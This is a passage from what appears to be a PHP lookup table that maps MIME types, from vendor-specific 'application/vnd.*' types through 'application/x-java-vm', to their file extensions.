'application/urc-targetdesc+xml' => ['td'], 'application/vnd.1000minds.decision-model+xml' => ['1km'], 'application/vnd.3gpp.pic-bw-large' => ['plb'], 'application/vnd.3gpp.pic-bw-small' => ['psb'], 'application/vnd.3gpp.pic-bw-var' => ['pvb'], 'application/vnd.3gpp2.tcap' => ['tcap'], 'application/vnd.3m.post-it-notes' => ['pwn'], 'application/vnd.accpac.simply.aso' => ['aso'], 'application/vnd.accpac.simply.imp' => ['imp'], 'application/vnd.acucobol' => ['acu'], 'application/vnd.acucorp' => ['atc', 'acutc'], 'application/vnd.adobe.air-application-installer-package+zip' => ['air'], 'application/vnd.adobe.flash.movie' => ['swf', 'spl'], 'application/vnd.adobe.formscentral.fcdt' => ['fcdt'], 'application/vnd.adobe.fxp' => ['fxp', 'fxpl'], 'application/vnd.adobe.illustrator' => ['ai'], 'application/vnd.adobe.xdp+xml' => ['xdp'], 'application/vnd.adobe.xfdf' => ['xfdf'], 'application/vnd.ahead.space' => ['ahead'], 'application/vnd.airzip.filesecure.azf' => ['azf'], 'application/vnd.airzip.filesecure.azs' => ['azs'], 'application/vnd.amazon.ebook' => ['azw'], 'application/vnd.amazon.mobi8-ebook' => ['azw3', 'kfx'], 'application/vnd.americandynamics.acc' => ['acc'], 'application/vnd.amiga.ami' => ['ami'], 'application/vnd.android.package-archive' => ['apk'], 'application/vnd.anser-web-certificate-issue-initiation' => ['cii'], 'application/vnd.anser-web-funds-transfer-initiation' => ['fti'], 'application/vnd.antix.game-component' => ['atx'], 'application/vnd.appimage' => ['appimage'], 'application/vnd.apple.installer+xml' => ['mpkg'], 'application/vnd.apple.keynote' => ['key', 'keynote'], 'application/vnd.apple.mpegurl' => ['m3u8', 'm3u'], 'application/vnd.apple.numbers' => ['numbers'], 'application/vnd.apple.pages' => ['pages'], 'application/vnd.apple.pkpass' => ['pkpass'], 'application/vnd.aristanetworks.swi' => ['swi'], 'application/vnd.astraea-software.iota' => ['iota'], 'application/vnd.audiograph' => ['aep'], 'application/vnd.balsamiq.bmml+xml' => ['bmml'], 'application/vnd.blueice.multipass' => ['mpm'], 'application/vnd.bmi' => ['bmi'], 'application/vnd.businessobjects' => ['rep'], 'application/vnd.chemdraw+xml' => ['cdxml'], 'application/vnd.chess-pgn' => ['pgn'], 'application/vnd.chipnuts.karaoke-mmd' => ['mmd'], 'application/vnd.cinderella' => ['cdy'], 'application/vnd.citationstyles.style+xml' => ['csl'], 'application/vnd.claymore' => ['cla'], 'application/vnd.cloanto.rp9' => ['rp9'], 'application/vnd.clonk.c4group' => ['c4g', 'c4d', 'c4f', 'c4p', 'c4u'], 'application/vnd.cluetrust.cartomobile-config' => ['c11amc'], 'application/vnd.cluetrust.cartomobile-config-pkg' => ['c11amz'], 'application/vnd.coffeescript' => ['coffee'], 'application/vnd.comicbook+zip' => ['cbz'], 'application/vnd.comicbook-rar' => ['cbr'], 'application/vnd.commonspace' => ['csp'], 'application/vnd.contact.cmsg' => ['cdbcmsg'], 'application/vnd.corel-draw' => ['cdr'], 'application/vnd.cosmocaller' => ['cmc'], 'application/vnd.crick.clicker' => ['clkx'], 'application/vnd.crick.clicker.keyboard' => ['clkk'], 'application/vnd.crick.clicker.palette' => ['clkp'], 'application/vnd.crick.clicker.template' => ['clkt'], 'application/vnd.crick.clicker.wordbank' => ['clkw'], 'application/vnd.criticaltools.wbs+xml' => ['wbs'], 'application/vnd.ctc-posml' => ['pml'], 'application/vnd.cups-ppd' => ['ppd'], 'application/vnd.curl.car' => ['car'], 'application/vnd.curl.pcurl' => ['pcurl'], 'application/vnd.dart' => ['dart'], 'application/vnd.data-vision.rdz' => ['rdz'], 'application/vnd.dbf' => ['dbf'], 'application/vnd.debian.binary-package' => ['deb', 'udeb'], 'application/vnd.dece.data' => ['uvf', 'uvvf', 'uvd', 'uvvd'], 'application/vnd.dece.ttml+xml' => ['uvt', 'uvvt'], 'application/vnd.dece.unspecified' => ['uvx', 'uvvx'], 'application/vnd.dece.zip' => ['uvz', 'uvvz'], 'application/vnd.denovo.fcselayout-link' => ['fe_launch'], 'application/vnd.dna' => ['dna'], 'application/vnd.dolby.mlp' => ['mlp'], 'application/vnd.dpgraph' => ['dpg'], 'application/vnd.dreamfactory' => ['dfac'], 'application/vnd.ds-keypoint' => ['kpxx'], 'application/vnd.dvb.ait' => ['ait'], 'application/vnd.dvb.service' => ['svc'], 'application/vnd.dynageo' => ['geo'], 'application/vnd.ecowin.chart' => ['mag'], 'application/vnd.emusic-emusic_package' => ['emp'], 'application/vnd.enliven' => ['nml'], 'application/vnd.epson.esf' => ['esf'], 'application/vnd.epson.msf' => ['msf'], 'application/vnd.epson.quickanime' => ['qam'], 'application/vnd.epson.salt' => ['slt'], 'application/vnd.epson.ssf' => ['ssf'], 'application/vnd.eszigno3+xml' => ['es3', 'et3'], 'application/vnd.etsi.asic-e+zip' => ['asice'], 'application/vnd.ezpix-album' => ['ez2'], 'application/vnd.ezpix-package' => ['ez3'], 'application/vnd.fdf' => ['fdf'], 'application/vnd.fdsn.mseed' => ['mseed'], 'application/vnd.fdsn.seed' => ['seed', 'dataless'], 'application/vnd.flatpak' => ['flatpak', 'xdgapp'], 'application/vnd.flatpak.ref' => ['flatpakref'], 'application/vnd.flatpak.repo' => ['flatpakrepo'], 'application/vnd.flographit' => ['gph'], 'application/vnd.fluxtime.clip' => ['ftc'], 'application/vnd.framemaker' => ['fm', 'frame', 'maker', 'book'], 'application/vnd.frogans.fnc' => ['fnc'], 'application/vnd.frogans.ltf' => ['ltf'], 'application/vnd.fsc.weblaunch' => ['fsc'], 'application/vnd.fujitsu.oasys' => ['oas'], 'application/vnd.fujitsu.oasys2' => ['oa2'], 'application/vnd.fujitsu.oasys3' => ['oa3'], 'application/vnd.fujitsu.oasysgp' => ['fg5'], 'application/vnd.fujitsu.oasysprs' => ['bh2'], 'application/vnd.fujixerox.ddd' => ['ddd'], 'application/vnd.fujixerox.docuworks' => ['xdw'], 'application/vnd.fujixerox.docuworks.binder' => ['xbd'], 'application/vnd.fuzzysheet' => ['fzs'], 'application/vnd.genomatix.tuxedo' => ['txd'], 'application/vnd.geo+json' => ['geojson', 'geo.json'], 'application/vnd.geogebra.file' => ['ggb'], 'application/vnd.geogebra.tool' => ['ggt'], 'application/vnd.geometry-explorer' => ['gex', 'gre'], 'application/vnd.geonext' => ['gxt'], 'application/vnd.geoplan' => ['g2w'], 'application/vnd.geospace' => ['g3w'], 'application/vnd.gmx' => ['gmx'], 'application/vnd.google-apps.document' => ['gdoc'], 'application/vnd.google-apps.presentation' => ['gslides'], 'application/vnd.google-apps.spreadsheet' => ['gsheet'], 'application/vnd.google-earth.kml+xml' => ['kml'], 'application/vnd.google-earth.kmz' => ['kmz'], 'application/vnd.grafeq' => ['gqf', 'gqs'], 'application/vnd.groove-account' => ['gac'], 'application/vnd.groove-help' => ['ghf'], 'application/vnd.groove-identity-message' => ['gim'], 'application/vnd.groove-injector' => ['grv'], 'application/vnd.groove-tool-message' => ['gtm'], 'application/vnd.groove-tool-template' => ['tpl'], 'application/vnd.groove-vcard' => ['vcg'], 'application/vnd.haansoft-hwp' => ['hwp'], 'application/vnd.haansoft-hwt' => ['hwt'], 'application/vnd.hal+xml' => ['hal'], 'application/vnd.handheld-entertainment+xml' => ['zmm'], 'application/vnd.hbci' => ['hbci'], 'application/vnd.hhe.lesson-player' => ['les'], 'application/vnd.hp-hpgl' => ['hpgl'], 'application/vnd.hp-hpid' => ['hpid'], 'application/vnd.hp-hps' => ['hps'], 'application/vnd.hp-jlyt' => ['jlt'], 'application/vnd.hp-pcl' => ['pcl'], 'application/vnd.hp-pclxl' => ['pclxl'], 'application/vnd.hydrostatix.sof-data' => ['sfd-hdstx'], 'application/vnd.ibm.minipay' => ['mpy'], 'application/vnd.ibm.modcap' => ['afp', 'listafp', 'list3820'], 'application/vnd.ibm.rights-management' => ['irm'], 'application/vnd.ibm.secure-container' => ['sc'], 'application/vnd.iccprofile' => ['icc', 'icm'], 'application/vnd.igloader' => ['igl'], 'application/vnd.immervision-ivp' => ['ivp'], 'application/vnd.immervision-ivu' => ['ivu'], 'application/vnd.insors.igm' => ['igm'], 'application/vnd.intercon.formnet' => ['xpw', 'xpx'], 'application/vnd.intergeo' => ['i2g'], 'application/vnd.intu.qbo' => ['qbo'], 'application/vnd.intu.qfx' => ['qfx'], 'application/vnd.ipunplugged.rcprofile' => ['rcprofile'], 'application/vnd.irepository.package+xml' => ['irp'], 'application/vnd.is-xpr' => ['xpr'], 'application/vnd.isac.fcs' => ['fcs'], 'application/vnd.jam' => ['jam'], 'application/vnd.jcp.javame.midlet-rms' => ['rms'], 'application/vnd.jisp' => ['jisp'], 'application/vnd.joost.joda-archive' => ['joda'], 'application/vnd.kahootz' => ['ktz', 'ktr'], 'application/vnd.kde.karbon' => ['karbon'], 'application/vnd.kde.kchart' => ['chrt'], 'application/vnd.kde.kformula' => ['kfo'], 'application/vnd.kde.kivio' => ['flw'], 'application/vnd.kde.kontour' => ['kon'], 'application/vnd.kde.kpresenter' => ['kpr', 'kpt'], 'application/vnd.kde.kspread' => ['ksp'], 'application/vnd.kde.kword' => ['kwd', 'kwt'], 'application/vnd.kenameaapp' => ['htke'], 'application/vnd.kidspiration' => ['kia'], 'application/vnd.kinar' => ['kne', 'knp'], 'application/vnd.koan' => ['skp', 'skd', 'skt', 'skm'], 'application/vnd.kodak-descriptor' => ['sse'], 'application/vnd.las.las+xml' => ['lasxml'], 'application/vnd.llamagraphics.life-balance.desktop' => ['lbd'], 'application/vnd.llamagraphics.life-balance.exchange+xml' => ['lbe'], 'application/vnd.lotus-1-2-3' => ['123', 'wk1', 'wk3', 'wk4', 'wks'], 'application/vnd.lotus-approach' => ['apr'], 'application/vnd.lotus-freelance' => ['pre'], 'application/vnd.lotus-notes' => ['nsf'], 'application/vnd.lotus-organizer' => ['org'], 'application/vnd.lotus-screencam' => ['scm'], 'application/vnd.lotus-wordpro' => ['lwp'], 'application/vnd.macports.portpkg' => ['portpkg'], 'application/vnd.mapbox-vector-tile' => ['mvt'], 'application/vnd.mcd' => ['mcd'], 'application/vnd.medcalcdata' => ['mc1'], 'application/vnd.mediastation.cdkey' => ['cdkey'], 'application/vnd.mfer' => ['mwf'], 'application/vnd.mfmp' => ['mfm'], 'application/vnd.micrografx.flo' => ['flo'], 'application/vnd.micrografx.igx' => ['igx'], 'application/vnd.mif' => ['mif'], 'application/vnd.mobius.daf' => ['daf'], 'application/vnd.mobius.dis' => ['dis'], 'application/vnd.mobius.mbk' => ['mbk'], 'application/vnd.mobius.mqy' => ['mqy'], 'application/vnd.mobius.msl' => ['msl'], 'application/vnd.mobius.plc' => ['plc'], 'application/vnd.mobius.txf' => ['txf'], 'application/vnd.mophun.application' => ['mpn'], 'application/vnd.mophun.certificate' => ['mpc'], 'application/vnd.mozilla.xul+xml' => ['xul'], 'application/vnd.ms-access' => ['mdb'], 'application/vnd.ms-artgalry' => ['cil'], 'application/vnd.ms-asf' => ['asf'], 'application/vnd.ms-cab-compressed' => ['cab'], 'application/vnd.ms-excel' => ['xls', 'xlm', 'xla', 'xlc', 'xlt', 'xlw', 'xll', 'xld'], 'application/vnd.ms-excel.addin.macroenabled.12' => ['xlam'], 'application/vnd.ms-excel.sheet.binary.macroenabled.12' => ['xlsb'], 'application/vnd.ms-excel.sheet.macroenabled.12' => ['xlsm'], 'application/vnd.ms-excel.template.macroenabled.12' => ['xltm'], 'application/vnd.ms-fontobject' => ['eot'], 'application/vnd.ms-htmlhelp' => ['chm'], 'application/vnd.ms-ims' => ['ims'], 'application/vnd.ms-lrm' => ['lrm'], 'application/vnd.ms-officetheme' => ['thmx'], 'application/vnd.ms-outlook' => ['msg'], 'application/vnd.ms-pki.seccat' => ['cat'], 'application/vnd.ms-pki.stl' => ['stl'], 'application/vnd.ms-powerpoint' => ['ppt', 'pps', 'pot', 'ppz'], 'application/vnd.ms-powerpoint.addin.macroenabled.12' => ['ppam'], 'application/vnd.ms-powerpoint.presentation.macroenabled.12' => ['pptm'], 'application/vnd.ms-powerpoint.slide.macroenabled.12' => ['sldm'], 'application/vnd.ms-powerpoint.slideshow.macroenabled.12' => ['ppsm'], 'application/vnd.ms-powerpoint.template.macroenabled.12' => ['potm'], 'application/vnd.ms-project' => ['mpp', 'mpt'], 'application/vnd.ms-publisher' => ['pub'], 'application/vnd.ms-tnef' => ['tnef', 'tnf'], 'application/vnd.ms-visio.drawing.macroenabled.main+xml' => ['vsdm'], 'application/vnd.ms-visio.drawing.main+xml' => ['vsdx'], 'application/vnd.ms-visio.stencil.macroenabled.main+xml' => ['vssm'], 'application/vnd.ms-visio.stencil.main+xml' => ['vssx'], 'application/vnd.ms-visio.template.macroenabled.main+xml' => ['vstm'], 'application/vnd.ms-visio.template.main+xml' => ['vstx'], 'application/vnd.ms-word' => ['doc'], 'application/vnd.ms-word.document.macroenabled.12' => ['docm'], 'application/vnd.ms-word.template.macroenabled.12' => ['dotm'], 'application/vnd.ms-works' => ['wps', 'wks', 'wcm', 'wdb', 'xlr'], 'application/vnd.ms-wpl' => ['wpl'], 'application/vnd.ms-xpsdocument' => ['xps'], 'application/vnd.msaccess' => ['mdb'], 'application/vnd.mseq' => ['mseq'], 'application/vnd.musician' => ['mus'], 'application/vnd.muvee.style' => ['msty'], 'application/vnd.mynfc' => ['taglet'], 'application/vnd.neurolanguage.nlu' => ['nlu'], 'application/vnd.nintendo.snes.rom' => ['sfc', 'smc'], 'application/vnd.nitf' => ['ntf', 'nitf'], 'application/vnd.noblenet-directory' => ['nnd'], 'application/vnd.noblenet-sealer' => ['nns'], 'application/vnd.noblenet-web' => ['nnw'], 'application/vnd.nokia.n-gage.ac+xml' => ['ac'], 'application/vnd.nokia.n-gage.data' => ['ngdat'], 'application/vnd.nokia.n-gage.symbian.install' => ['n-gage'], 'application/vnd.nokia.radio-preset' => ['rpst'], 'application/vnd.nokia.radio-presets' => ['rpss'], 'application/vnd.novadigm.edm' => ['edm'], 'application/vnd.novadigm.edx' => ['edx'], 'application/vnd.novadigm.ext' => ['ext'], 'application/vnd.oasis.docbook+xml' => ['dbk', 'docbook'], 'application/vnd.oasis.opendocument.chart' => ['odc'], 'application/vnd.oasis.opendocument.chart-template' => ['otc'], 'application/vnd.oasis.opendocument.database' => ['odb'], 'application/vnd.oasis.opendocument.formula' => ['odf'], 'application/vnd.oasis.opendocument.formula-template' => ['odft', 'otf'], 'application/vnd.oasis.opendocument.graphics' => ['odg'], 'application/vnd.oasis.opendocument.graphics-flat-xml' => ['fodg'], 'application/vnd.oasis.opendocument.graphics-template' => ['otg'], 'application/vnd.oasis.opendocument.image' => ['odi'], 'application/vnd.oasis.opendocument.image-template' => ['oti'], 'application/vnd.oasis.opendocument.presentation' => ['odp'], 'application/vnd.oasis.opendocument.presentation-flat-xml' => ['fodp'], 'application/vnd.oasis.opendocument.presentation-template' => ['otp'], 'application/vnd.oasis.opendocument.spreadsheet' => ['ods'], 'application/vnd.oasis.opendocument.spreadsheet-flat-xml' => ['fods'], 'application/vnd.oasis.opendocument.spreadsheet-template' => ['ots'], 'application/vnd.oasis.opendocument.text' => ['odt'], 'application/vnd.oasis.opendocument.text-flat-xml' => ['fodt'], 'application/vnd.oasis.opendocument.text-master' => ['odm'], 'application/vnd.oasis.opendocument.text-template' => ['ott'], 'application/vnd.oasis.opendocument.text-web' => ['oth'], 'application/vnd.olpc-sugar' => ['xo'], 'application/vnd.oma.dd2+xml' => ['dd2'], 'application/vnd.openblox.game+xml' => ['obgx'], 'application/vnd.openofficeorg.extension' => ['oxt'], 'application/vnd.openstreetmap.data+xml' => ['osm'], 'application/vnd.openxmlformats-officedocument.presentationml.presentation' => ['pptx'], 'application/vnd.openxmlformats-officedocument.presentationml.slide' => ['sldx'], 'application/vnd.openxmlformats-officedocument.presentationml.slideshow' => ['ppsx'], 'application/vnd.openxmlformats-officedocument.presentationml.template' => ['potx'], 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' => ['xlsx'], 'application/vnd.openxmlformats-officedocument.spreadsheetml.template' => ['xltx'], 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' => ['docx'], 'application/vnd.openxmlformats-officedocument.wordprocessingml.template' => ['dotx'], 'application/vnd.osgeo.mapguide.package' => ['mgp'], 'application/vnd.osgi.dp' => ['dp'], 'application/vnd.osgi.subsystem' => ['esa'], 'application/vnd.palm' => ['pdb', 'pqa', 'oprc', 'prc'], 'application/vnd.pawaafile' => ['paw'], 'application/vnd.pg.format' => ['str'], 'application/vnd.pg.osasli' => ['ei6'], 'application/vnd.picsel' => ['efif'], 'application/vnd.pmi.widget' => ['wg'], 'application/vnd.pocketlearn' => ['plf'], 'application/vnd.powerbuilder6' => ['pbd'], 'application/vnd.previewsystems.box' => ['box'], 'application/vnd.proteus.magazine' => ['mgz'], 'application/vnd.publishare-delta-tree' => ['qps'], 'application/vnd.pvi.ptid1' => ['ptid'], 'application/vnd.quark.quarkxpress' => ['qxd', 'qxt', 'qwd', 'qwt', 'qxl', 'qxb'], 'application/vnd.rar' => ['rar'], 'application/vnd.realvnc.bed' => ['bed'], 'application/vnd.recordare.musicxml' => ['mxl'], 'application/vnd.recordare.musicxml+xml' => ['musicxml'], 'application/vnd.rig.cryptonote' => ['cryptonote'], 'application/vnd.rim.cod' => ['cod'], 'application/vnd.rn-realmedia' => ['rm', 'rmj', 'rmm', 'rms', 'rmx', 'rmvb'], 'application/vnd.rn-realmedia-vbr' => ['rmvb', 'rm', 'rmj', 'rmm', 'rms', 'rmx'], 'application/vnd.route66.link66+xml' => ['link66'], 'application/vnd.sailingtracker.track' => ['st'], 'application/vnd.sdp' => ['sdp'], 'application/vnd.seemail' => ['see'], 'application/vnd.sema' => ['sema'], 'application/vnd.semd' => ['semd'], 'application/vnd.semf' => ['semf'], 'application/vnd.shana.informed.formdata' => ['ifm'], 'application/vnd.shana.informed.formtemplate' => ['itp'], 'application/vnd.shana.informed.interchange' => ['iif'], 'application/vnd.shana.informed.package' => ['ipk'], 'application/vnd.simtech-mindmapper' => ['twd', 'twds'], 'application/vnd.smaf' => ['mmf', 'smaf'], 'application/vnd.smart.teacher' => ['teacher'], 'application/vnd.snap' => ['snap'], 'application/vnd.software602.filler.form+xml' => ['fo'], 'application/vnd.solent.sdkm+xml' => ['sdkm', 'sdkd'], 'application/vnd.spotfire.dxp' => ['dxp'], 'application/vnd.spotfire.sfs' => ['sfs'], 'application/vnd.sqlite3' => ['sqlite3'], 'application/vnd.squashfs' => ['sqsh'], 'application/vnd.stardivision.calc' => ['sdc'], 'application/vnd.stardivision.chart' => ['sds'], 'application/vnd.stardivision.draw' => ['sda'], 'application/vnd.stardivision.impress' => ['sdd', 'sdp'], 'application/vnd.stardivision.mail' => ['smd'], 'application/vnd.stardivision.math' => ['smf'], 'application/vnd.stardivision.writer' => ['sdw', 'vor', 'sgl'], 'application/vnd.stardivision.writer-global' => ['sgl', 'sdw', 'vor'], 'application/vnd.stepmania.package' => ['smzip'], 'application/vnd.stepmania.stepchart' => ['sm'], 'application/vnd.sun.wadl+xml' => ['wadl'], 'application/vnd.sun.xml.base' => ['odb'], 'application/vnd.sun.xml.calc' => ['sxc'], 'application/vnd.sun.xml.calc.template' => ['stc'], 'application/vnd.sun.xml.draw' => ['sxd'], 'application/vnd.sun.xml.draw.template' => ['std'], 'application/vnd.sun.xml.impress' => ['sxi'], 'application/vnd.sun.xml.impress.template' => ['sti'], 'application/vnd.sun.xml.math' => ['sxm'], 'application/vnd.sun.xml.writer' => ['sxw'], 'application/vnd.sun.xml.writer.global' => ['sxg'], 'application/vnd.sun.xml.writer.template' => ['stw'], 'application/vnd.sus-calendar' => ['sus', 'susp'], 'application/vnd.svd' => ['svd'], 'application/vnd.symbian.install' => ['sis', 'sisx'], 'application/vnd.syncml+xml' => ['xsm'], 'application/vnd.syncml.dm+wbxml' => ['bdm'], 'application/vnd.syncml.dm+xml' => ['xdm'], 'application/vnd.syncml.dmddf+xml' => ['ddf'], 'application/vnd.tao.intent-module-archive' => ['tao'], 'application/vnd.tcpdump.pcap' => ['pcap', 'cap', 'dmp'], 'application/vnd.tmobile-livetv' => ['tmo'], 'application/vnd.trid.tpt' => ['tpt'], 'application/vnd.triscape.mxs' => ['mxs'], 'application/vnd.trueapp' => ['tra'], 'application/vnd.ufdl' => ['ufd', 'ufdl'], 'application/vnd.uiq.theme' => ['utz'], 'application/vnd.umajin' => ['umj'], 'application/vnd.unity' => ['unityweb'], 'application/vnd.uoml+xml' => ['uoml'], 'application/vnd.vcx' => ['vcx'], 'application/vnd.visio' => ['vsd', 'vst', 'vss', 'vsw'], 'application/vnd.visionary' => ['vis'], 'application/vnd.vsf' => ['vsf'], 'application/vnd.wap.wbxml' => ['wbxml'], 'application/vnd.wap.wmlc' => ['wmlc'], 'application/vnd.wap.wmlscriptc' => ['wmlsc'], 'application/vnd.webturbo' => ['wtb'], 'application/vnd.wolfram.player' => ['nbp'], 'application/vnd.wordperfect' => ['wpd', 'wp', 'wp4', 'wp5', 'wp6', 'wpp'], 'application/vnd.wqd' => ['wqd'], 'application/vnd.wt.stf' => ['stf'], 'application/vnd.xara' => ['xar'], 'application/vnd.xdgapp' => ['flatpak', 'xdgapp'], 'application/vnd.xfdl' => ['xfdl'], 'application/vnd.yamaha.hv-dic' => ['hvd'], 'application/vnd.yamaha.hv-script' => ['hvs'], 'application/vnd.yamaha.hv-voice' => ['hvp'], 'application/vnd.yamaha.openscoreformat' => ['osf'], 'application/vnd.yamaha.openscoreformat.osfpvg+xml' => ['osfpvg'], 'application/vnd.yamaha.smaf-audio' => ['saf'], 'application/vnd.yamaha.smaf-phrase' => ['spf'], 'application/vnd.yellowriver-custom-menu' => ['cmp'], 'application/vnd.youtube.yt' => ['yt'], 'application/vnd.zul' => ['zir', 'zirz'], 'application/vnd.zzazz.deck+xml' => ['zaz'], 'application/voicexml+xml' => ['vxml'], 'application/wasm' => ['wasm'], 'application/widget' => ['wgt'], 'application/winhlp' => ['hlp'], 'application/wk1' => ['123', 'wk1', 'wk3', 'wk4', 'wks'], 'application/wmf' => ['wmf'], 'application/wordperfect' => ['wp', 'wp4', 'wp5', 'wp6', 'wpd', 'wpp'], 'application/wsdl+xml' => ['wsdl'], 'application/wspolicy+xml' => ['wspolicy'], 'application/wwf' => ['wwf'], 'application/x-123' => ['123', 'wk1', 'wk3', 'wk4', 'wks'], 'application/x-7z-compressed' => ['7z', '7z.001'], 'application/x-abiword' => ['abw', 'abw.CRASHED', 'abw.gz', 'zabw'], 'application/x-ace' => ['ace'], 'application/x-ace-compressed' => ['ace'], 'application/x-alz' => ['alz'], 'application/x-amiga-disk-format' => ['adf'], 'application/x-amipro' => ['sam'], 'application/x-annodex' => ['anx'], 'application/x-aportisdoc' => ['pdb', 'pdc'], 'application/x-apple-diskimage' => ['dmg'], 'application/x-apple-systemprofiler+xml' => ['spx'], 'application/x-appleworks-document' => ['cwk'], 'application/x-applix-spreadsheet' => ['as'], 'application/x-applix-word' => ['aw'], 'application/x-archive' => ['a', 'ar'], 'application/x-arj' => ['arj'], 'application/x-asp' => ['asp'], 'application/x-atari-2600-rom' => ['a26'], 'application/x-atari-7800-rom' => ['a78'], 'application/x-atari-lynx-rom' => ['lnx'], 'application/x-authorware-bin' => ['aab', 'x32', 'u32', 'vox'], 'application/x-authorware-map' => ['aam'], 'application/x-authorware-seg' => ['aas'], 'application/x-awk' => ['awk'], 'application/x-bcpio' => ['bcpio'], 'application/x-bdoc' => ['bdoc'], 'application/x-bittorrent' => ['torrent'], 'application/x-blender' => ['blender', 'blend', 'BLEND'], 'application/x-blorb' => ['blb', 'blorb'], 'application/x-bps-patch' => ['bps'], 'application/x-bsdiff' => ['bsdiff'], 'application/x-bz2' => ['bz2'], 'application/x-bzdvi' => ['dvi.bz2'], 'application/x-bzip' => ['bz', 'bz2'], 'application/x-bzip-compressed-tar' => ['tar.bz2', 'tar.bz', 'tbz2', 'tbz', 'tb2'], 'application/x-bzip2' => ['bz2', 'boz', 'bz'], 'application/x-bzpdf' => ['pdf.bz2'], 'application/x-bzpostscript' => ['ps.bz2'], 'application/x-cb7' => ['cb7'], 'application/x-cbr' => ['cbr', 'cba', 'cbt', 'cbz', 'cb7'], 'application/x-cbt' => ['cbt'], 'application/x-cbz' => ['cbz'], 'application/x-ccmx' => ['ccmx'], 'application/x-cd-image' => ['iso', 'iso9660'], 'application/x-cdlink' => ['vcd'], 'application/x-cdr' => ['cdr'], 'application/x-cdrdao-toc' => ['toc'], 'application/x-cfs-compressed' => ['cfs'], 'application/x-chat' => ['chat'], 'application/x-chess-pgn' => ['pgn'], 'application/x-chm' => ['chm'], 'application/x-chrome-extension' => ['crx'], 'application/x-cisco-vpn-settings' => ['pcf'], 'application/x-cocoa' => ['cco'], 'application/x-compress' => ['Z'], 'application/x-compressed-iso' => ['cso'], 'application/x-compressed-tar' => ['tar.gz', 'tgz'], 'application/x-conference' => ['nsc'], 'application/x-coreldraw' => ['cdr'], 'application/x-cpio' => ['cpio'], 'application/x-cpio-compressed' => ['cpio.gz'], 'application/x-csh' => ['csh'], 'application/x-cue' => ['cue'], 'application/x-dar' => ['dar'], 'application/x-dbase' => ['dbf'], 'application/x-dbf' => ['dbf'], 'application/x-dc-rom' => ['dc'], 'application/x-deb' => ['deb', 'udeb'], 'application/x-debian-package' => ['deb', 'udeb'], 'application/x-designer' => ['ui'], 'application/x-desktop' => ['desktop', 'kdelnk'], 'application/x-dgc-compressed' => ['dgc'], 'application/x-dia-diagram' => ['dia'], 'application/x-dia-shape' => ['shape'], 'application/x-director' => ['dir', 'dcr', 'dxr', 'cst', 'cct', 'cxt', 'w3d', 'fgd', 'swa'], 'application/x-discjuggler-cd-image' => ['cdi'], 'application/x-docbook+xml' => ['dbk', 'docbook'], 'application/x-doom' => ['wad'], 'application/x-doom-wad' => ['wad'], 'application/x-dreamcast-rom' => ['iso'], 'application/x-dtbncx+xml' => ['ncx'], 'application/x-dtbook+xml' => ['dtb'], 'application/x-dtbresource+xml' => ['res'], 'application/x-dvi' => ['dvi'], 'application/x-e-theme' => ['etheme'], 'application/x-egon' => ['egon'], 'application/x-emf' => ['emf'], 'application/x-envoy' => ['evy'], 'application/x-eva' => ['eva'], 'application/x-fd-file' => ['fd', 'qd'], 'application/x-fds-disk' => ['fds'], 'application/x-fictionbook' => ['fb2'], 'application/x-fictionbook+xml' => ['fb2'], 'application/x-flash-video' => ['flv'], 'application/x-fluid' => ['fl'], 'application/x-font-afm' => ['afm'], 'application/x-font-bdf' => ['bdf'], 'application/x-font-ghostscript' => ['gsf'], 'application/x-font-linux-psf' => ['psf'], 'application/x-font-otf' => ['otf'], 'application/x-font-pcf' => ['pcf', 'pcf.Z', 'pcf.gz'], 'application/x-font-snf' => ['snf'], 'application/x-font-speedo' => ['spd'], 'application/x-font-truetype' => ['ttf'], 'application/x-font-ttf' => ['ttf'], 'application/x-font-ttx' => ['ttx'], 'application/x-font-type1' => ['pfa', 'pfb', 'pfm', 'afm', 'gsf'], 'application/x-font-woff' => ['woff'], 'application/x-frame' => ['fm'], 'application/x-freearc' => ['arc'], 'application/x-futuresplash' => ['spl'], 'application/x-gameboy-color-rom' => ['gbc', 'cgb'], 'application/x-gameboy-rom' => ['gb', 'sgb'], 'application/x-gamecube-iso-image' => ['iso'], 'application/x-gamecube-rom' => ['iso'], 'application/x-gamegear-rom' => ['gg'], 'application/x-gba-rom' => ['gba', 'agb'], 'application/x-gca-compressed' => ['gca'], 'application/x-gd-rom-cue' => ['gdi'], 'application/x-gedcom' => ['ged', 'gedcom'], 'application/x-genesis-32x-rom' => ['32x', 'mdx'], 'application/x-genesis-rom' => ['gen', 'smd', 'sgd'], 'application/x-gettext' => ['po'], 'application/x-gettext-translation' => ['gmo', 'mo'], 'application/x-glade' => ['glade'], 'application/x-glulx' => ['ulx'], 'application/x-gnome-app-info' => ['desktop', 'kdelnk'], 'application/x-gnucash' => ['gnucash', 'gnc', 'xac'], 'application/x-gnumeric' => ['gnumeric'], 'application/x-gnuplot' => ['gp', 'gplt', 'gnuplot'], 'application/x-go-sgf' => ['sgf'], 'application/x-gpx' => ['gpx'], 'application/x-gpx+xml' => ['gpx'], 'application/x-gramps-xml' => ['gramps'], 'application/x-graphite' => ['gra'], 'application/x-gtar' => ['gtar', 'tar', 'gem'], 'application/x-gtk-builder' => ['ui'], 'application/x-gz-font-linux-psf' => ['psf.gz'], 'application/x-gzdvi' => ['dvi.gz'], 'application/x-gzip' => ['gz'], 'application/x-gzpdf' => ['pdf.gz'], 'application/x-gzpostscript' => ['ps.gz'], 'application/x-hdf' => ['hdf', 'hdf4', 'h4', 'hdf5', 'h5'], 'application/x-hfe-file' => ['hfe'], 'application/x-hfe-floppy-image' => ['hfe'], 'application/x-httpd-php' => ['php'], 'application/x-hwp' => ['hwp'], 'application/x-hwt' => ['hwt'], 'application/x-ica' => ['ica'], 'application/x-install-instructions' => ['install'], 'application/x-ips-patch' => ['ips'], 'application/x-ipynb+json' => ['ipynb'], 'application/x-iso9660-appimage' => ['appimage'], 'application/x-iso9660-image' => ['iso', 'iso9660'], 'application/x-it87' => ['it87'], 'application/x-iwork-keynote-sffkey' => ['key'], 'application/x-iwork-numbers-sffnumbers' => ['numbers'], 'application/x-iwork-pages-sffpages' => ['pages'], 'application/x-jar' => ['jar'], 'application/x-java' => ['class'], 'application/x-java-archive' => ['jar'], 'application/x-java-archive-diff' => ['jardiff'], 'application/x-java-class' => ['class'], 'application/x-java-jce-keystore' => ['jceks'], 'application/x-java-jnlp-file' => ['jnlp'], 'application/x-java-keystore' => ['jks', 'ks'], 'application/x-java-pack200' => ['pack'], 'application/x-java-vm' => ['class'], 